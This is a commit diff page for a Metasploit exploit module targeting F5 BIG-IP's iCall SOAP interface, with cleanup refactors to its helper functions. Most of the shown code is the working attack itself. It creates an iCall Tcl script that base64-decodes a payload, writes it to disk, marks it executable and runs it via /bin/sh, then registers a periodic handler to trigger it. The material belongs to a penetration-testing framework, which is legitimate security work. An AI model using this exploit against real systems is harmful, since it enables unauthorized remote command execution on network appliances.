Skip to content

Commit 3396fb1

Browse files
committed
A little more simplification/cleanup
1 parent dcfb3b5 commit 3396fb1

File tree

1 file changed

+22
-43
lines changed

1 file changed

+22
-43
lines changed

modules/exploits/linux/http/f5_icall_cmd.rb

Lines changed: 22 additions & 43 deletions
Original file line numberDiff line numberDiff line change
@@ -105,56 +105,51 @@ def send_soap_request(pay)
105105
'username' => datastore['USERNAME'],
106106
'password' => datastore['PASSWORD']
107107
)
108-
if res && res.code == 200
108+
if res
109109
return res
110-
elsif res
111-
print_error("HTTP/#{res.proto} #{res.code} #{res.message}")
112110
else
113111
vprint_error('No response')
114112
end
115113
false
116114
end
117115

118-
# cmd is valid tcl script
119-
def create_script(cmd)
120-
scriptname = Rex::Text.rand_text_alpha_lower(5)
116+
def create_script(name, cmd)
121117
create_xml = build_xml do |xml|
122118
xml['scr'].create(SOAPENV_ENCODINGSTYLE) do
123119
xml.scripts(STRING_ATTRS) do
124120
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
125-
xml.item scriptname
121+
xml.item name
126122
end
127123
xml.definitions(STRING_ATTRS) do
128124
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
129125
xml.item cmd
130126
end
131127
end
132128
end
133-
send_soap_request(create_xml) ? scriptname : false
129+
send_soap_request(create_xml)
134130
end
135131

136-
def delete_script(scriptname)
132+
def delete_script(script_name)
137133
delete_xml = build_xml do |xml|
138134
xml['scr'].delete_script(SOAPENV_ENCODINGSTYLE) do
139135
xml.scripts(STRING_ATTRS) do
140136
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
141-
xml.item scriptname
137+
xml.item script_name
142138
end
143139
end
144140
end
145141
send_soap_request(delete_xml)
146142
end
147143

148-
def script_exists(scriptname)
144+
def script_exists(script_name)
149145
exists_xml = build_xml do |xml|
150146
xml['scr'].get_list(SOAPENV_ENCODINGSTYLE)
151147
end
152148
res = send_soap_request(exists_xml)
153-
res && res.code == 200 && res.body =~ Regexp.new("/Common/#{scriptname}")
149+
res && res.code == 200 && res.body =~ Regexp.new("/Common/#{script_name}")
154150
end
155151

156-
def create_handler(scriptname, interval)
157-
handler_name = Rex::Text.rand_text_alpha_lower(5)
152+
def create_handler(handler_name, script_name, interval)
158153
handler_xml = build_xml do |xml|
159154
xml['per'].create(SOAPENV_ENCODINGSTYLE) do
160155
xml.handlers(STRING_ATTRS) do
@@ -163,15 +158,16 @@ def create_handler(scriptname, interval)
163158
end
164159
xml.scripts(STRING_ATTRS) do
165160
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
166-
xml.item scriptname
161+
xml.item script_name
167162
end
168163
xml.intervals(LONG_ATTRS) do
169164
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
170165
xml.item interval
171166
end
172167
end
173168
end
174-
send_soap_request(handler_xml) ? handler_name : false
169+
res = send_soap_request(handler_xml)
170+
res && res.code == 200 && res.body =~ Regexp.new("iCall/PeriodicHandler")
175171
end
176172

177173
def delete_handler(handler_name)
@@ -201,26 +197,7 @@ def check
201197
# XXX ignored at the moment: if the user doesn't have enough privileges, 500 error also is returned, but saying 'access denied'.
202198
# if the user/password is wrong, a 401 error is returned, the server might or might not be vulnerable
203199
# any other response is considered not vulnerable
204-
check_xml = build_xml do |xml|
205-
xml['scr'].create(SOAPENV_ENCODINGSTYLE) do
206-
xml.scripts(STRING_ATTRS) do
207-
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
208-
xml.item
209-
end
210-
xml.definitions(STRING_ATTRS) do
211-
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
212-
xml.item
213-
end
214-
end
215-
end
216-
217-
res = send_request_cgi(
218-
'uri' => normalize_uri(target_uri.path),
219-
'method' => 'POST',
220-
'data' => check_xml,
221-
'username' => datastore['USERNAME'],
222-
'password' => datastore['PASSWORD']
223-
)
200+
res = create_script('', '')
224201
if res && res.code == 500 && res.body =~ /path is empty/
225202
return Exploit::CheckCode::Appears
226203
elsif res && res.code == 401
@@ -233,8 +210,6 @@ def check
233210

234211
def exploit
235212
# phase 1: create iCall script to create file with payload, execute it and remove it.
236-
register_file_for_cleanup @payload_path
237-
238213
shell_cmd = %(echo #{Rex::Text.encode_base64(payload.encoded)}|base64 --decode >#{@payload_path}; chmod +x #{@payload_path};#{@payload_path})
239214
cmd = %(if { ! [file exists #{@payload_path}]} { exec /bin/sh -c "#{shell_cmd}"})
240215

@@ -247,28 +222,32 @@ def exploit
247222

248223
print_status('Uploading payload...')
249224

250-
unless (script = create_script(cmd))
225+
script_name = Rex::Text.rand_text_alpha_lower(5)
226+
create_script_res = create_script(script_name, cmd)
227+
unless create_script_res && create_script_res.code == 200
251228
print_error("Upload script failed")
252229
return false
253230
end
254-
unless script_exists(script)
231+
unless script_exists(script_name)
255232
print_error("create_script() run successfully but script was not found")
256233
return false
257234
end
235+
register_file_for_cleanup @payload_path
236+
258237
interval = datastore['INTERVAL']
259238

260239
# phase 2: create iCall Handler, that will actually run the previously created script
261240
print_status('Creating trigger...')
262-
handler = create_handler(script, interval)
263-
unless handler
241+
handler_name = Rex::Text.rand_text_alpha_lower(5)
242+
unless create_handler(handler_name, script_name, interval)
264243
print_error('Script uploaded but create_handler() failed')
265244
return false
266245
end
267246
print_status('Wait until payload is executed...')
268247

269248
sleep(interval) # small delay, just to make sure
270249
print_status('Trying cleanup...')
271-
if delete_handler(handler) && delete_script(script)
250+
if delete_handler(handler_name) && delete_script(script_name)
272251
print_status('Cleanup finished with no errors')
273252
else
274253
print_error('Error while cleaning up')

0 commit comments

Comments
 (0)